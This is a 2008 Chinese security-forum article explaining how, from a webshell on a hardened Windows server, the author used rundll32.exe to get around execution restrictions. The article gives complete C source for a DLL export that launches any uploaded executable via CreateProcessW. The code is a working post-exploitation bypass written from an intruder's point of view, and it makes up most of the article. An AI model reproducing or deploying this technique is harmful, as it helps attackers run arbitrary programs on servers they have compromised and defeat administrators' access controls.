黑基Web安全攻防班
黑基网 首页 IT技术 电脑技术 查看内容

利用rundll32执行exe文件

2008-12-19 11:15| 投稿: computer

摘要:   一个webshell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。  最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。  测...
  一个webshell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。  最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。  测试开始的时候,PHP似乎没权执行命令。本来打算用php本身的一些溢出问题,溢出一个低权限的shell来的。后来意外发现使用proc_open函数可以执行一些内部命令,只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令,最终测试到了rundll32.exe程序,终于没有返回权限不足。写一个dll,给rundll32调用,就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问题?毕竟使用rundll32间接执行的exe,身份还是php shell的guest权限,虽然调用者变了——真正原因有待进一步研究。  #  /*************************************************************************************************  #  * 遇到一个服务器权限设置很畸形,系统exe基本都无法执行,自己上传的exe到可写目录,也不能执行。  #  * 遗憾的是,他们漏掉了rundll32.exe这个文件的权限,如是……  #  * code by wustyunshu###hotmail.com, 2008,11,13,23:20  #  *************************************************************************************************/  #  #  #include <stdio.h>  #  #include <stdlib.h>  #  #include <windows.h>  #  #  // dll入口  #  BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )  #  {  #  return true;  #  }  #  #  void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)  #  {  #  if( szCmdLine == NULL )  #  {  #  return;  #  }  #  #  DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);  #  wchar_t *wszCmdLine = new wchar_t[dwNum];  #  if(!wszCmdLine)  #  {  #  return;  #  }  #  MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);  #  #  int argc;  #  LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );  #  #  wchar_t Cmd[256] = { 0 };  #  wchar_t Args[1024] = { 0 };  #  #  //strncpy( Cmd, argv[0], sizeof(Cmd)-1 );  #  wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 );  #  if( argc > 1 )  #  {  #  for( int index = 1; index < argc; index ++ )  #  {  #  wcscat( wcscat( Args, L" " ), argv[index] );  #  }  #  }  #  #  STARTUPINFO si;  #  memset( (void *)&si, 0, sizeof(STARTUPINFOA) );  #  GetStartupInfoW( &si );  #  #  //新进程输入输出重定向  #  si.cb = sizeof( si );  #  si.dwFlags = STARTF_USESHOWWINDOW;  #  //si.wShowWindow = SW_HIDE;  #  #  PROCESS_INFORMATION processInfo;  #  memset( (void *)&processInfo, 0, sizeof(PROCESS_INFORMATION) );  #  #  //建立进程  #  CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );  #  #  Sleep( 60 * 1000 );  #  TerminateProcess( processInfo.hProcess, 0 );  #  }

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部